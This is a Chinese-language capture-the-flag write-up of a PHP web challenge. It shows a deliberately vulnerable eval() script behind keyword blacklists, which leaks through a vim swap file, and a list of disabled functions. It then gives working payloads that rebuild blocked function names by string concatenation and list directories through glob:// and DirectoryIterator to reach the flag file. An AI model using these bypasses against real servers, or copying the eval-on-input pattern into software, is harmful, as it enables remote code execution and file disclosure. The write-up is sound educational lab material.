
大晚上搞事!
打开网址,是个假的 403,还会给你放 dota 的 BGM,cookie 里面有提示

进入 s3cReT_b0x.html,发现有个盒子,点一下就多两条狗,跟那个 RCTP 的题一样。Y1ng 师傅,前端剽窃者石锤!

拖着那个盒子到 url 框,即可得到这个盒子的源码,或者按 F12 -> network -> 点击几下盒子,再点击下图红框的位置,都可以得到源码。

源代码没啥可看的,里面藏了个注释,rc3_Me.php,直接访问

vim 泄漏,后面加上 swp 结尾访问得到源码
<?php
error_reporting(0);
$exp = $_GET['exp'];
function isPost(){
return $_SERVER['REQUEST_METHOD'] == 'POST' ? true : false;
}
if (isPost())
die('DO NOT P!O!S!T!');
if (isset($_GET['exp'])) {
if ( preg_match('/system|exec|pass|shell/i', $exp) )
die('no linux com');
if ( preg_match('/file|highlight|read|fopen|fget/i', $exp) )
die('file???');
if ( preg_match('/include|require|defined|http|array|get/i', $exp) )
die('un?');
if ( preg_match('/base|\&|\||\~|\^|rot/i', $exp) )
die('fxcking encoder');
if ( preg_match('/dir/i', $exp) )
die('secret directory');
if ( preg_match('/filter|base|rot|string|conv|data|input|decode/i', $exp) )
die('no php wei xie yi');
if ( preg_match('/post|get|cookie|request|\$\_|assert/i', $exp) )
die('my dear dalao pls do not getshell 555');
print_r(eval($exp));
}
else {
echo "<html><p>I wrote this website by vim!</p></html>";
}
?>
很强烈的 Y1ng 师傅的出题风格,需要绕过一吨过滤,但是 phpinfo 没被过滤,先看看 php 禁止了什么函数:
passthru,exec,system,shell_exec,putenv,chroot,chgrp,chown,popen,proc_open,pcntl_exec,ini_alter,
ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,
pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,
pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,
pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,
pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv,assert,fopen,file_get_contents,
fread,file_get_contents,,highlight_file,scandir
稍微看了一下,没过滤掉 show_source(),试试直接读取flag:

也就是说,现在的主要矛盾是不知道目录下面有什么,也就是需要执行一下 scandir(),但是他在 disable_function 里面,没法使。所以这题的关键在于找到一个能替代 scandir() 的函数并打印出目录。
然后我上网一通乱搜,搜到一个 glob,这个 glob 有两种用法,一种是用伪协议形式,一种是函数形式,本来两种都可以,后来 Y1ng 师傅把 var_dump ban 了,就只能利用伪协议形式。
然后我就遇到了第一个坑,我以为 glob:// 后面只能加绝对路径,然后就想怎么把当前目录名给搞出来(其实 phpinfo 里都有),然后就慢慢走上了邪道 23333。
首先想到的是直接 echo __FILE__,但是 file 被代码 ban 了,然后又想到了 get_defined_vars(),但是 get 也被 ban 了。之后我就来脾气了,跟丫死磕,一直在想怎么绕过这个限制,后来还真用变量拼接绕过去了 2333,payload:
exp=$a="ge";$b="t_defin";$c="ed_vars";$d=$a.$b.$c;var_dump($d());

看图可知当前的目录是 /www/wwwroot/12348.ctf/,用 php 文档 的这个payload,稍微修改一下:
exp=$a="ge";$b="tFil";$c="ename";$d=$a.$b.$c;$e="Di";$ff="rectoryIterator";
$x=$e.$ff;$it=new%20$x("glob:///www/wwwroot/12348.ctf/*.php");
foreach($it%20as%20$f)%20{printf("%s\n",%20$f->$d());}
成功拿到目录信息:

读取 r3alllf14g.php,即可拿到 flag:

此外,过滤 var_dump() 之前还有一种方式能更简单地拿到目录信息,就是利用 glob 函数:

过滤掉之后可是可以利用的,for 循环一下挨个输出即可:
exp=$a=glob("./*.php");foreach($a%20as%20$b)%20echo%20$b."<br>";
